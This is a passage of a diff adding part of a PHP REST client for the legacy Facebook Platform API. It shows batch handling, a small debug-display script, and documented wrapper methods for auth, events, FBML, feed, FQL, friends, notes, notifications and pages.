+  public $batch_mode;
+  private $batch_queue;
+  private $call_as_apikey;
+  private $use_curl_if_available;
+
+  const BATCH_MODE_DEFAULT = 0;
+  const BATCH_MODE_SERVER_PARALLEL = 0;
+  const BATCH_MODE_SERIAL_ONLY = 2;
+
+  /**
+   * Create the client.
+   * @param string $session_key if you haven't gotten a session key yet, leave
+   *                            this as null and then set it later by just
+   *                            directly accessing the $session_key member
+   *                            variable.
+   */
+  public function __construct($api_key, $secret, $session_key=null) {
+    $this->secret       = $secret;
+    $this->session_key  = $session_key;
+    $this->api_key      = $api_key;
+    $this->batch_mode = FacebookRestClient::BATCH_MODE_DEFAULT;
+    $this->last_call_id = 0;
+    $this->call_as_apikey = '';
+    $this->use_curl_if_available = true;
+    $this->server_addr  = Facebook::get_facebook_url('api') . '/restserver.php';
+
+    if (!empty($GLOBALS['facebook_config']['debug'])) {
+      $this->cur_id = 0;
+      ?>
+<script type="text/javascript">
+var types = ['params', 'xml', 'php', 'sxml'];
+function getStyle(elem, style) {
+  if (elem.getStyle) {
+    return elem.getStyle(style);
+  } else {
+    return elem.style[style];
+  }
+}
+function setStyle(elem, style, value) {
+  if (elem.setStyle) {
+    elem.setStyle(style, value);
+  } else {
+    elem.style[style] = value;
+  }
+}
+function toggleDisplay(id, type) {
+  for (var i = 0; i < types.length; i++) {
+    var t = types[i];
+    var pre = document.getElementById(t + id);
+    if (pre) {
+      if (t != type || getStyle(pre, 'display') == 'block') {
+        setStyle(pre, 'display', 'none');
+      } else {
+        setStyle(pre, 'display', 'block');
+      }
+    }
+  }
+  return false;
+}
+</script>
+<?php
+    }
+  }
+
+  /**
+   * Set the default user id for methods that allow the caller
+   * to pass an uid parameter to identify the target user
+   * instead of a session key. This currently applies to
+   * the user preferences methods.
+   *
+   * @param $uid int the user id
+   */
+  public function set_user($uid) {
+    $this->user = $uid;
+  }
+
+  /**
+   * Normally, if the cURL library/PHP extension is available, it is used for
+   * HTTP transactions.  This allows that behavior to be overridden, falling
+   * back to a vanilla-PHP implementation even if cURL is installed.
+   *
+   * @param $use_curl_if_available bool whether or not to use cURL if available
+   */
+  public function set_use_curl_if_available($use_curl_if_available) {
+    $this->use_curl_if_available = $use_curl_if_available;
+  }
+
+  /**
+   * Start a batch operation.
+   */
+  public function begin_batch() {
+    if($this->batch_queue !== null) {
+      $code = FacebookAPIErrorCodes::API_EC_BATCH_ALREADY_STARTED;
+      $description = FacebookAPIErrorCodes::$api_error_descriptions[$code];
+      throw new FacebookRestClientException($description, $code);
+    }
+
+    $this->batch_queue = array();
+  }
+
+  /*
+   * End current batch operation
+   */
+  public function end_batch() {
+    if($this->batch_queue === null) {
+      $code = FacebookAPIErrorCodes::API_EC_BATCH_NOT_STARTED;
+      $description = FacebookAPIErrorCodes::$api_error_descriptions[$code];
+      throw new FacebookRestClientException($description, $code);
+    }
+
+    $this->execute_server_side_batch();
+
+    $this->batch_queue = null;
+  }
+
+  private function execute_server_side_batch() {
+    $item_count = count($this->batch_queue);
+    $method_feed = array();
+    foreach($this->batch_queue as $batch_item) {
+      $method = $batch_item['m'];
+      $params = $batch_item['p'];
+      $this->finalize_params($method, $params);
+      $method_feed[] = $this->create_post_string($method, $params);
+    }
+
+    $method_feed_json = json_encode($method_feed);
+
+    $serial_only =
+      ($this->batch_mode == FacebookRestClient::BATCH_MODE_SERIAL_ONLY);
+    $params = array('method_feed' => $method_feed_json,
+                    'serial_only' => $serial_only);
+    if ($this->call_as_apikey) {
+      $params['call_as_apikey'] = $this->call_as_apikey;
+    }
+
+    $xml = $this->post_request('batch.run', $params);
+
+    $result = $this->convert_xml_to_result($xml, 'batch.run', $params);
+
+
+    if (is_array($result) && isset($result['error_code'])) {
+      throw new FacebookRestClientException($result['error_msg'],
+                                            $result['error_code']);
+    }
+
+    for($i = 0; $i < $item_count; $i++) {
+      $batch_item = $this->batch_queue[$i];
+      $batch_item_result_xml = $result[$i];
+      $batch_item_result = $this->convert_xml_to_result($batch_item_result_xml,
+                                                        $batch_item['m'],
+                                                        $batch_item['p']);
+
+      if (is_array($batch_item_result) &&
+          isset($batch_item_result['error_code'])) {
+        throw new FacebookRestClientException($batch_item_result['error_msg'],
+                                              $batch_item_result['error_code']);
+      }
+      $batch_item['r'] = $batch_item_result;
+    }
+  }
+
+  public function begin_permissions_mode($permissions_apikey) {
+    $this->call_as_apikey = $permissions_apikey;
+  }
+
+  public function end_permissions_mode() {
+    $this->call_as_apikey = '';
+  }
+
+
+  /*
+   * If a page is loaded via HTTPS, then all images and static
+   * resources need to be printed with HTTPS urls to avoid
+   * mixed content warnings. If your page loads with an HTTPS
+   * url, then call set_use_ssl_resources to retrieve the correct
+   * urls.
+   */
+  public function set_use_ssl_resources($is_ssl = true) {
+    $this->use_ssl_resources = $is_ssl;
+  }
+
+  /**
+   * Returns public information for an application (as shown in the application
+   * directory) by either application ID, API key, or canvas page name.
+   *
+   * @param int $application_id              (Optional) app id
+   * @param string $application_api_key      (Optional) api key
+   * @param string $application_canvas_name  (Optional) canvas name
+   *
+   * Exactly one argument must be specified, otherwise it is an error.
+   *
+   * @return array  An array of public information about the application.
+   */
+  public function application_getPublicInfo($application_id=null,
+                                            $application_api_key=null,
+                                            $application_canvas_name=null) {
+    return $this->call_method('facebook.application.getPublicInfo',
+        array('application_id' => $application_id,
+              'application_api_key' => $application_api_key,
+              'application_canvas_name' => $application_canvas_name));
+  }
+
+  /**
+   * Creates an authentication token to be used as part of the desktop login
+   * flow.  For more information, please see
+   * http://wiki.developers.facebook.com/index.php/Auth.createToken.
+   *
+   * @return string  An authentication token.
+   */
+  public function auth_createToken() {
+    return $this->call_method('facebook.auth.createToken');
+  }
+
+  /**
+   * Returns the session information available after current user logs in.
+   *
+   * @param string $auth_token             the token returned by
+   *                                       auth_createToken or passed back to
+   *                                       your callback_url.
+   * @param bool $generate_session_secret  whether the session returned should
+   *                                       include a session secret
+   *
+   * @return array  An assoc array containing session_key, uid
+   */
+  public function auth_getSession($auth_token, $generate_session_secret=false) {
+    //Check if we are in batch mode
+    if($this->batch_queue === null) {
+      $result = $this->call_method('facebook.auth.getSession',
+          array('auth_token' => $auth_token,
+                'generate_session_secret' => $generate_session_secret));
+      $this->session_key = $result['session_key'];
+
+    if (!empty($result['secret']) && !$generate_session_secret) {
+      // desktop apps have a special secret
+      $this->secret = $result['secret'];
+    }
+      return $result;
+    }
+  }
+
+  /**
+   * Generates a session-specific secret. This is for integration with
+   * client-side API calls, such as the JS library.
+   *
+   * @return array  A session secret for the current promoted session
+   *
+   * @error API_EC_PARAM_SESSION_KEY
+   *        API_EC_PARAM_UNKNOWN
+   */
+  public function auth_promoteSession() {
+      return $this->call_method('facebook.auth.promoteSession');
+  }
+
+  /**
+   * Expires the session that is currently being used.  If this call is
+   * successful, no further calls to the API (which require a session) can be
+   * made until a valid session is created.
+   *
+   * @return bool  true if session expiration was successful, false otherwise
+   */
+  public function auth_expireSession() {
+      return $this->call_method('facebook.auth.expireSession');
+  }
+
+  /**
+   * Revokes the user's agreement to the Facebook Terms of Service for your
+   * application.  If you call this method for one of your users, you will no
+   * longer be able to make API requests on their behalf until they again
+   * authorize your application.  Use with care.  Note that if this method is
+   * called without a user parameter, then it will revoke access for the
+   * current session's user.
+   *
+   * @param int $uid  (Optional) User to revoke
+   *
+   * @return bool  true if revocation succeeds, false otherwise
+   */
+  public function auth_revokeAuthorization($uid=null) {
+      return $this->call_method('facebook.auth.revokeAuthorization',
+          array('uid' => $uid));
+  }
+
+  /**
+   * Returns the number of unconnected friends that exist in this application.
+   * This number is determined based on the accounts registered through
+   * connect.registerUsers() (see below).
+   */
+  public function connect_getUnconnectedFriendsCount() {
+    return $this->call_method('facebook.connect.getUnconnectedFriendsCount',
+        array());
+  }
+
+ /**
+  * This method is used to create an association between an external user
+  * account and a Facebook user account, as per Facebook Connect.
+  *
+  * This method takes an array of account data, including a required email_hash
+  * and optional account data. For each connected account, if the user exists,
+  * the information is added to the set of the user's connected accounts.
+  * If the user has already authorized the site, the connected account is added
+  * in the confirmed state. If the user has not yet authorized the site, the
+  * connected account is added in the pending state.
+  *
+  * This is designed to help Facebook Connect recognize when two Facebook
+  * friends are both members of a external site, but perhaps are not aware of
+  * it.  The Connect dialog (see fb:connect-form) is used when friends can be
+  * identified through these email hashes. See the following url for details:
+  *
+  *   http://wiki.developers.facebook.com/index.php/Connect.registerUsers
+  *
+  * @param mixed $accounts A (JSON-encoded) array of arrays, where each array
+  *                        has three properties:
+  *                        'email_hash'  (req) - public email hash of account
+  *                        'account_id'  (opt) - remote account id;
+  *                        'account_url' (opt) - url to remote account;
+  *
+  * @return array  The list of email hashes for the successfully registered
+  *                accounts.
+  */
+  public function connect_registerUsers($accounts) {
+    return $this->call_method('facebook.connect.registerUsers',
+        array('accounts' => $accounts));
+  }
+
+ /**
+  * Unregisters a set of accounts registered using connect.registerUsers.
+  *
+  * @param array $email_hashes  The (JSON-encoded) list of email hashes to be
+  *                             unregistered.
+  *
+  * @return array  The list of email hashes which have been successfully
+  *                unregistered.
+  */
+  public function connect_unregisterUsers($email_hashes) {
+    return $this->call_method('facebook.connect.unregisterUsers',
+        array('email_hashes' => $email_hashes));
+  }
+
+  /**
+   * Returns events according to the filters specified.
+   *
+   * @param int $uid            (Optional) User associated with events. A null
+   *                            parameter will default to the session user.
+   * @param string $eids        (Optional) Filter by these comma-separated event
+   *                            ids. A null parameter will get all events for
+   *                            the user.
+   * @param int $start_time     (Optional) Filter with this unix time as lower
+   *                            bound.  A null or zero parameter indicates no
+   *                            lower bound.
+   * @param int $end_time       (Optional) Filter with this UTC as upper bound.
+   *                            A null or zero parameter indicates no upper
+   *                            bound.
+   * @param string $rsvp_status (Optional) Only show events where the given uid
+   *                            has this rsvp status.  This only works if you
+   *                            have specified a value for $uid.  Values are as
+   *                            in events.getMembers.  Null indicates to ignore
+   *                            rsvp status when filtering.
+   *
+   * @return array  The events matching the query.
+   */
+  public function &events_get($uid=null,
+                              $eids=null,
+                              $start_time=null,
+                              $end_time=null,
+                              $rsvp_status=null) {
+    return $this->call_method('facebook.events.get',
+        array('uid' => $uid,
+              'eids' => $eids,
+              'start_time' => $start_time,
+              'end_time' => $end_time,
+              'rsvp_status' => $rsvp_status));
+  }
+
+  /**
+   * Returns membership list data associated with an event.
+   *
+   * @param int $eid  event id
+   *
+   * @return array  An assoc array of four membership lists, with keys
+   *                'attending', 'unsure', 'declined', and 'not_replied'
+   */
+  public function &events_getMembers($eid) {
+    return $this->call_method('facebook.events.getMembers',
+      array('eid' => $eid));
+  }
+
+  /**
+   * RSVPs the current user to this event.
+   *
+   * @param int $eid             event id
+   * @param string $rsvp_status  'attending', 'unsure', or 'declined'
+   *
+   * @return bool  true if successful
+   */
+  public function &events_rsvp($eid, $rsvp_status) {
+    return $this->call_method('facebook.events.rsvp',
+        array(
+        'eid' => $eid,
+        'rsvp_status' => $rsvp_status));
+  }
+
+  /**
+   * Cancels an event. Only works for events where application is the admin.
+   *
+   * @param int $eid                event id
+   * @param string $cancel_message  (Optional) message to send to members of
+   *                                the event about why it is cancelled
+   *
+   * @return bool  true if successful
+   */
+  public function &events_cancel($eid, $cancel_message='') {
+    return $this->call_method('facebook.events.cancel',
+        array('eid' => $eid,
+              'cancel_message' => $cancel_message));
+  }
+
+  /**
+   * Creates an event on behalf of the user is there is a session, otherwise on
+   * behalf of app.  Successful creation guarantees app will be admin.
+   *
+   * @param assoc array $event_info  json encoded event information
+   *
+   * @return int  event id
+   */
+  public function &events_create($event_info) {
+    return $this->call_method('facebook.events.create',
+        array('event_info' => $event_info));
+  }
+
+  /**
+   * Edits an existing event. Only works for events where application is admin.
+   *
+   * @param int $eid                 event id
+   * @param assoc array $event_info  json encoded event information
+   *
+   * @return bool  true if successful
+   */
+  public function &events_edit($eid, $event_info) {
+    return $this->call_method('facebook.events.edit',
+        array('eid' => $eid,
+              'event_info' => $event_info));
+  }
+
+  /**
+   * Fetches and re-caches the image stored at the given URL, for use in images
+   * published to non-canvas pages via the API (for example, to user profiles
+   * via profile.setFBML, or to News Feed via feed.publishUserAction).
+   *
+   * @param string $url  The absolute URL from which to refresh the image.
+   *
+   * @return bool  true on success
+   */
+  public function &fbml_refreshImgSrc($url) {
+    return $this->call_method('facebook.fbml.refreshImgSrc',
+        array('url' => $url));
+  }
+
+  /**
+   * Fetches and re-caches the content stored at the given URL, for use in an
+   * fb:ref FBML tag.
+   *
+   * @param string $url  The absolute URL from which to fetch content. This URL
+   *                     should be used in a fb:ref FBML tag.
+   *
+   * @return bool  true on success
+   */
+  public function &fbml_refreshRefUrl($url) {
+    return $this->call_method('facebook.fbml.refreshRefUrl',
+        array('url' => $url));
+  }
+
+  /**
+   * Lets you insert text strings in their native language into the Facebook
+   * Translations database so they can be translated.
+   *
+   * @param array $native_strings  An array of maps, where each map has a 'text'
+   *                               field and a 'description' field.
+   *
+   * @return int  Number of strings uploaded.
+   */
+  public function &fbml_uploadNativeStrings($native_strings) {
+    return $this->call_method('facebook.fbml.uploadNativeStrings',
+        array('native_strings' => json_encode($native_strings)));
+  }
+
+  /**
+   * Associates a given "handle" with FBML markup so that the handle can be
+   * used within the fb:ref FBML tag. A handle is unique within an application
+   * and allows an application to publish identical FBML to many user profiles
+   * and do subsequent updates without having to republish FBML on behalf of
+   * each user.
+   *
+   * @param string $handle  The handle to associate with the given FBML.
+   * @param string $fbml    The FBML to associate with the given handle.
+   *
+   * @return bool  true on success
+   */
+  public function &fbml_setRefHandle($handle, $fbml) {
+    return $this->call_method('facebook.fbml.setRefHandle',
+        array('handle' => $handle, 'fbml' => $fbml));
+  }
+
+  /**
+   * Register custom tags for the application. Custom tags can be used
+   * to extend the set of tags available to applications in FBML
+   * markup.
+   *
+   * Before you call this function,
+   * make sure you read the full documentation at
+   *
+   * http://wiki.developers.facebook.com/index.php/Fbml.RegisterCustomTags
+   *
+   * IMPORTANT: This function overwrites the values of
+   * existing tags if the names match. Use this function with care because
+   * it may break the FBML of any application that is using the
+   * existing version of the tags.
+   *
+   * @param mixed $tags an array of tag objects (the full description is on the
+   *   wiki page)
+   *
+   * @return int  the number of tags that were registered
+   */
+  public function &fbml_registerCustomTags($tags) {
+    $tags = json_encode($tags);
+    return $this->call_method('facebook.fbml.registerCustomTags',
+                              array('tags' => $tags));
+  }
+
+  /**
+   * Get the custom tags for an application. If $app_id
+   * is not specified, the calling app's tags are returned.
+   * If $app_id is different from the id of the calling app,
+   * only the app's public tags are returned.
+   * The return value is an array of the same type as
+   * the $tags parameter of fbml_registerCustomTags().
+   *
+   * @param int $app_id the application's id (optional)
+   *
+   * @return mixed  an array containing the custom tag  objects
+   */
+  public function &fbml_getCustomTags($app_id = null) {
+    return $this->call_method('facebook.fbml.getCustomTags',
+                              array('app_id' => $app_id));
+  }
+
+
+  /**
+   * Delete custom tags the application has registered. If
+   * $tag_names is null, all the application's custom tags will be
+   * deleted.
+   *
+   * IMPORTANT: If your application has registered public tags
+   * that other applications may be using, don't delete those tags!
+   * Doing so can break the FBML ofapplications that are using them.
+   *
+   * @param array $tag_names the names of the tags to delete (optinal)
+   * @return bool true on success
+   */
+  public function &fbml_deleteCustomTags($tag_names = null) {
+    return $this->call_method('facebook.fbml.deleteCustomTags',
+                              array('tag_names' => json_encode($tag_names)));
+  }
+
+
+
+  /**
+   * This method is deprecated for calls made on behalf of users. This method
+   * works only for publishing stories on a Facebook Page that has installed
+   * your application. To publish stories to a user's profile, use
+   * feed.publishUserAction instead.
+   *
+   * For more details on this call, please visit the wiki page:
+   *
+   * http://wiki.developers.facebook.com/index.php/Feed.publishTemplatizedAction
+   */
+  public function &feed_publishTemplatizedAction($title_template,
+                                                 $title_data,
+                                                 $body_template,
+                                                 $body_data,
+                                                 $body_general,
+                                                 $image_1=null,
+                                                 $image_1_link=null,
+                                                 $image_2=null,
+                                                 $image_2_link=null,
+                                                 $image_3=null,
+                                                 $image_3_link=null,
+                                                 $image_4=null,
+                                                 $image_4_link=null,
+                                                 $target_ids='',
+                                                 $page_actor_id=null) {
+    return $this->call_method('facebook.feed.publishTemplatizedAction',
+      array('title_template' => $title_template,
+            'title_data' => $title_data,
+            'body_template' => $body_template,
+            'body_data' => $body_data,
+            'body_general' => $body_general,
+            'image_1' => $image_1,
+            'image_1_link' => $image_1_link,
+            'image_2' => $image_2,
+            'image_2_link' => $image_2_link,
+            'image_3' => $image_3,
+            'image_3_link' => $image_3_link,
+            'image_4' => $image_4,
+            'image_4_link' => $image_4_link,
+            'target_ids' => $target_ids,
+            'page_actor_id' => $page_actor_id));
+  }
+
+  /**
+   * Registers a template bundle.  Template bundles are somewhat involved, so
+   * it's recommended you check out the wiki for more details:
+   *
+   *  http://wiki.developers.facebook.com/index.php/Feed.registerTemplateBundle
+   *
+   * @return string  A template bundle id
+   */
+  public function &feed_registerTemplateBundle($one_line_story_templates,
+                                               $short_story_templates = array(),
+                                               $full_story_template = null,
+                                               $action_links = array()) {
+
+    $one_line_story_templates = json_encode($one_line_story_templates);
+
+    if (!empty($short_story_templates)) {
+      $short_story_templates = json_encode($short_story_templates);
+    }
+
+    if (isset($full_story_template)) {
+      $full_story_template = json_encode($full_story_template);
+    }
+
+    if (isset($action_links)) {
+      $action_links = json_encode($action_links);
+    }
+
+    return $this->call_method('facebook.feed.registerTemplateBundle',
+        array('one_line_story_templates' => $one_line_story_templates,
+              'short_story_templates' => $short_story_templates,
+              'full_story_template' => $full_story_template,
+              'action_links' => $action_links));
+  }
+
+  /**
+   * Retrieves the full list of active template bundles registered by the
+   * requesting application.
+   *
+   * @return array  An array of template bundles
+   */
+  public function &feed_getRegisteredTemplateBundles() {
+    return $this->call_method('facebook.feed.getRegisteredTemplateBundles',
+        array());
+  }
+
+  /**
+   * Retrieves information about a specified template bundle previously
+   * registered by the requesting application.
+   *
+   * @param string $template_bundle_id  The template bundle id
+   *
+   * @return array  Template bundle
+   */
+  public function &feed_getRegisteredTemplateBundleByID($template_bundle_id) {
+    return $this->call_method('facebook.feed.getRegisteredTemplateBundleByID',
+        array('template_bundle_id' => $template_bundle_id));
+  }
+
+  /**
+   * Deactivates a previously registered template bundle.
+   *
+   * @param string $template_bundle_id  The template bundle id
+   *
+   * @return bool  true on success
+   */
+  public function &feed_deactivateTemplateBundleByID($template_bundle_id) {
+    return $this->call_method('facebook.feed.deactivateTemplateBundleByID',
+        array('template_bundle_id' => $template_bundle_id));
+  }
+
+  const STORY_SIZE_ONE_LINE = 1;
+  const STORY_SIZE_SHORT = 2;
+  const STORY_SIZE_FULL = 4;
+
+  /**
+   * Publishes a story on behalf of the user owning the session, using the
+   * specified template bundle. This method requires an active session key in
+   * order to be called.
+   *
+   * The parameters to this method ($templata_data in particular) are somewhat
+   * involved.  It's recommended you visit the wiki for details:
+   *
+   *  http://wiki.developers.facebook.com/index.php/Feed.publishUserAction
+   *
+   * @param int $template_bundle_id  A template bundle id previously registered
+   * @param array $template_data     See wiki article for syntax
+   * @param array $target_ids        (Optional) An array of friend uids of the
+   *                                 user who shared in this action.
+   * @param string $body_general     (Optional) Additional markup that extends
+   *                                 the body of a short story.
+   * @param int $story_size          (Optional) A story size (see above)
+   *
+   * @return bool  true on success
+   */
+  public function &feed_publishUserAction(
+      $template_bundle_id, $template_data, $target_ids='', $body_general='',
+      $story_size=FacebookRestClient::STORY_SIZE_ONE_LINE) {
+
+    if (is_array($template_data)) {
+      $template_data = json_encode($template_data);
+    } // allow client to either pass in JSON or an assoc that we JSON for them
+
+    if (is_array($target_ids)) {
+      $target_ids = json_encode($target_ids);
+      $target_ids = trim($target_ids, "[]"); // we don't want square brackets
+    }
+
+    return $this->call_method('facebook.feed.publishUserAction',
+        array('template_bundle_id' => $template_bundle_id,
+              'template_data' => $template_data,
+              'target_ids' => $target_ids,
+              'body_general' => $body_general,
+              'story_size' => $story_size));
+  }
+
+  /**
+   * For the current user, retrieves stories generated by the user's friends
+   * while using this application.  This can be used to easily create a
+   * "News Feed" like experience.
+   *
+   * @return array  An array of feed story objects.
+   */
+  public function &feed_getAppFriendStories() {
+    return $this->call_method('facebook.feed.getAppFriendStories');
+  }
+
+  /**
+   * Makes an FQL query.  This is a generalized way of accessing all the data
+   * in the API, as an alternative to most of the other method calls.  More
+   * info at http://developers.facebook.com/documentation.php?v=1.0&doc=fql
+   *
+   * @param string $query  the query to evaluate
+   *
+   * @return array  generalized array representing the results
+   */
+  public function &fql_query($query) {
+    return $this->call_method('facebook.fql.query',
+      array('query' => $query));
+  }
+
+  /**
+   * Returns whether or not pairs of users are friends.
+   * Note that the Facebook friend relationship is symmetric.
+   *
+   * @param string $uids1  comma-separated list of ids (id_1, id_2,...)
+   *                       of some length X
+   * @param string $uids2  comma-separated list of ids (id_A, id_B,...)
+   *                       of SAME length X
+   *
+   * @return array  An array with uid1, uid2, and bool if friends, e.g.:
+   *   array(0 => array('uid1' => id_1, 'uid2' => id_A, 'are_friends' => 1),
+   *         1 => array('uid1' => id_2, 'uid2' => id_B, 'are_friends' => 0)
+   *         ...)
+   * @error
+   *    API_EC_PARAM_USER_ID_LIST
+   */
+  public function &friends_areFriends($uids1, $uids2) {
+    return $this->call_method('facebook.friends.areFriends',
+        array('uids1' => $uids1, 'uids2' => $uids2));
+  }
+
+  /**
+   * Returns the friends of the current session user.
+   *
+   * @param int $flid  (Optional) Only return friends on this friend list.
+   * @param int $uid   (Optional) Return friends for this user.
+   *
+   * @return array  An array of friends
+   */
+  public function &friends_get($flid=null, $uid = null) {
+    if (isset($this->friends_list)) {
+      return $this->friends_list;
+    }
+    $params = array();
+    if (!$uid && isset($this->canvas_user)) {
+      $uid = $this->canvas_user;
+    }
+    if ($uid) {
+      $params['uid'] = $uid;
+    }
+    if ($flid) {
+      $params['flid'] = $flid;
+    }
+    return $this->call_method('facebook.friends.get', $params);
+
+  }
+
+  /**
+   * Returns the set of friend lists for the current session user.
+   *
+   * @return array  An array of friend list objects
+   */
+  public function &friends_getLists() {
+    return $this->call_method('facebook.friends.getLists');
+  }
+
+  /**
+   * Returns the friends of the session user, who are also users
+   * of the calling application.
+   *
+   * @return array  An array of friends also using the app
+   */
+  public function &friends_getAppUsers() {
+    return $this->call_method('facebook.friends.getAppUsers');
+  }
+
+  /**
+   * Returns groups according to the filters specified.
+   *
+   * @param int $uid     (Optional) User associated with groups.  A null
+   *                     parameter will default to the session user.
+   * @param string $gids (Optional) Comma-separated group ids to query. A null
+   *                     parameter will get all groups for the user.
+   *
+   * @return array  An array of group objects
+   */
+  public function &groups_get($uid, $gids) {
+    return $this->call_method('facebook.groups.get',
+        array('uid' => $uid,
+              'gids' => $gids));
+  }
+
+  /**
+   * Returns the membership list of a group.
+   *
+   * @param int $gid  Group id
+   *
+   * @return array  An array with four membership lists, with keys 'members',
+   *                'admins', 'officers', and 'not_replied'
+   */
+  public function &groups_getMembers($gid) {
+    return $this->call_method('facebook.groups.getMembers',
+      array('gid' => $gid));
+  }
+
+  /**
+   * Returns cookies according to the filters specified.
+   *
+   * @param int $uid     User for which the cookies are needed.
+   * @param string $name (Optional) A null parameter will get all cookies
+   *                     for the user.
+   *
+   * @return array  Cookies!  Nom nom nom nom nom.
+   */
+  public function data_getCookies($uid, $name) {
+    return $this->call_method('facebook.data.getCookies',
+        array('uid' => $uid,
+              'name' => $name));
+  }
+
+  /**
+   * Sets cookies according to the params specified.
+   *
+   * @param int $uid       User for which the cookies are needed.
+   * @param string $name   Name of the cookie
+   * @param string $value  (Optional) if expires specified and is in the past
+   * @param int $expires   (Optional) Expiry time
+   * @param string $path   (Optional) Url path to associate with (default is /)
+   *
+   * @return bool  true on success
+   */
+  public function data_setCookie($uid, $name, $value, $expires, $path) {
+    return $this->call_method('facebook.data.setCookie',
+        array('uid' => $uid,
+              'name' => $name,
+              'value' => $value,
+              'expires' => $expires,
+              'path' => $path));
+  }
+
+  /**
+   * Retrieves links posted by the given user.
+   *
+   * @param int    $uid      The user whose links you wish to retrieve
+   * @param int    $limit    The maximimum number of links to retrieve
+   * @param array $link_ids (Optional) Array of specific link
+   *                          IDs to retrieve by this user
+   *
+   * @return array  An array of links.
+   */
+  public function &links_get($uid, $limit, $link_ids = null) {
+    return $this->call_method('links.get',
+        array('uid' => $uid,
+              'limit' => $limit,
+              'link_ids' => json_encode($link_ids)));
+  }
+
+  /**
+   * Posts a link on Facebook.
+   *
+   * @param string $url     URL/link you wish to post
+   * @param string $comment (Optional) A comment about this link
+   * @param int    $uid     (Optional) User ID that is posting this link;
+   *                        defaults to current session user
+   *
+   * @return bool
+   */
+  public function &links_post($url, $comment='', $uid = null) {
+    return $this->call_method('links.post',
+        array('uid' => $uid,
+              'url' => $url,
+              'comment' => $comment));
+  }
+
+  /**
+   * Permissions API
+   */
+
+  /**
+   * Checks API-access granted by self to the specified application.
+   *
+   * @param string $permissions_apikey  Other application key
+   *
+   * @return array  API methods/namespaces which are allowed access
+   */
+  public function permissions_checkGrantedApiAccess($permissions_apikey) {
+    return $this->call_method('facebook.permissions.checkGrantedApiAccess',
+        array('permissions_apikey' => $permissions_apikey));
+  }
+
+  /**
+   * Checks API-access granted to self by the specified application.
+   *
+   * @param string $permissions_apikey  Other application key
+   *
+   * @return array  API methods/namespaces which are allowed access
+   */
+  public function permissions_checkAvailableApiAccess($permissions_apikey) {
+    return $this->call_method('facebook.permissions.checkAvailableApiAccess',
+        array('permissions_apikey' => $permissions_apikey));
+  }
+
+  /**
+   * Grant API-access to the specified methods/namespaces to the specified
+   * application.
+   *
+   * @param string $permissions_apikey  Other application key
+   * @param array(string) $method_arr   (Optional) API methods/namespaces
+   *                                    allowed
+   *
+   * @return array  API methods/namespaces which are allowed access
+   */
+  public function permissions_grantApiAccess($permissions_apikey, $method_arr) {
+    return $this->call_method('facebook.permissions.grantApiAccess',
+        array('permissions_apikey' => $permissions_apikey,
+              'method_arr' => $method_arr));
+  }
+
+  /**
+   * Revoke API-access granted to the specified application.
+   *
+   * @param string $permissions_apikey  Other application key
+   *
+   * @return bool  true on success
+   */
+  public function permissions_revokeApiAccess($permissions_apikey) {
+    return $this->call_method('facebook.permissions.revokeApiAccess',
+        array('permissions_apikey' => $permissions_apikey));
+  }
+
+  /**
+   * Creates a note with the specified title and content.
+   *
+   * @param string $title   Title of the note.
+   * @param string $content Content of the note.
+   * @param int    $uid     (Optional) The user for whom you are creating a
+   *                        note; defaults to current session user
+   *
+   * @return int   The ID of the note that was just created.
+   */
+  public function &notes_create($title, $content, $uid = null) {
+    return $this->call_method('notes.create',
+        array('uid' => $uid,
+              'title' => $title,
+              'content' => $content));
+  }
+
+  /**
+   * Deletes the specified note.
+   *
+   * @param int $note_id  ID of the note you wish to delete
+   * @param int $uid      (Optional) Owner of the note you wish to delete;
+   *                      defaults to current session user
+   *
+   * @return bool
+   */
+  public function &notes_delete($note_id, $uid = null) {
+    return $this->call_method('notes.delete',
+        array('uid' => $uid,
+              'note_id' => $note_id));
+  }
+
+  /**
+   * Edits a note, replacing its title and contents with the title
+   * and contents specified.
+   *
+   * @param int    $note_id  ID of the note you wish to edit
+   * @param string $title    Replacement title for the note
+   * @param string $content  Replacement content for the note
+   * @param int    $uid      (Optional) Owner of the note you wish to edit;
+   *                         defaults to current session user
+   *
+   * @return bool
+   */
+  public function &notes_edit($note_id, $title, $content, $uid = null) {
+    return $this->call_method('notes.edit',
+        array('uid' => $uid,
+              'note_id' => $note_id,
+              'title' => $title,
+              'content' => $content));
+  }
+
+  /**
+   * Retrieves all notes by a user. If note_ids are specified,
+   * retrieves only those specific notes by that user.
+   *
+   * @param int    $uid      User whose notes you wish to retrieve
+   * @param array  $note_ids (Optional) List of specific note
+   *                         IDs by this user to retrieve
+   *
+   * @return array A list of all of the given user's notes, or an empty list
+   *               if the viewer lacks permissions or if there are no visible
+   *               notes.
+   */
+  public function &notes_get($uid, $note_ids = null) {
+    return $this->call_method('notes.get',
+        array('uid' => $uid,
+              'note_ids' => json_encode($note_ids)));
+  }
+
+
+  /**
+   * Returns the outstanding notifications for the session user.
+   *
+   * @return array An assoc array of notification count objects for
+   *               'messages', 'pokes' and 'shares', a uid list of
+   *               'friend_requests', a gid list of 'group_invites',
+   *               and an eid list of 'event_invites'
+   */
+  public function &notifications_get() {
+    return $this->call_method('facebook.notifications.get');
+  }
+
+  /**
+   * Sends a notification to the specified users.
+   *
+   * @return A comma separated list of successful recipients
+   * @error
+   *    API_EC_PARAM_USER_ID_LIST
+   */
+  public function &notifications_send($to_ids, $notification, $type) {
+    return $this->call_method('facebook.notifications.send',
+        array('to_ids' => $to_ids,
+              'notification' => $notification,
+              'type' => $type));
+  }
+
+  /**
+   * Sends an email to the specified user of the application.
+   *
+   * @param string $recipients comma-separated ids of the recipients
+   * @param string $subject    subject of the email
+   * @param string $text       (plain text) body of the email
+   * @param string $fbml       fbml markup for an html version of the email
+   *
+   * @return string  A comma separated list of successful recipients
+   * @error
+   *    API_EC_PARAM_USER_ID_LIST
+   */
+  public function &notifications_sendEmail($recipients,
+                                           $subject,
+                                           $text,
+                                           $fbml) {
+    return $this->call_method('facebook.notifications.sendEmail',
+        array('recipients' => $recipients,
+              'subject' => $subject,
+              'text' => $text,
+              'fbml' => $fbml));
+  }
+
+  /**
+   * Returns the requested info fields for the requested set of pages.
+   *
+   * @param string  $page_ids  a comma-separated list of page ids
+   * @param string  $fields    a comma-separated list of strings describing the
+   *                           info fields desired
+   * @param int    $uid       (Optional) limit results to pages of which this
+   *                          user is a fan.
+   * @param string type       limits results to a particular type of page.
+   *
+   * @return array  An array of pages
+   */
+  public function &pages_getInfo($page_ids, $fields, $uid, $type) {
+    return $this->call_method('facebook.pages.getInfo',
+        array('page_ids' => $page_ids,
+              'fields' => $fields,
+              'uid' => $uid,
+              'type' => $type));
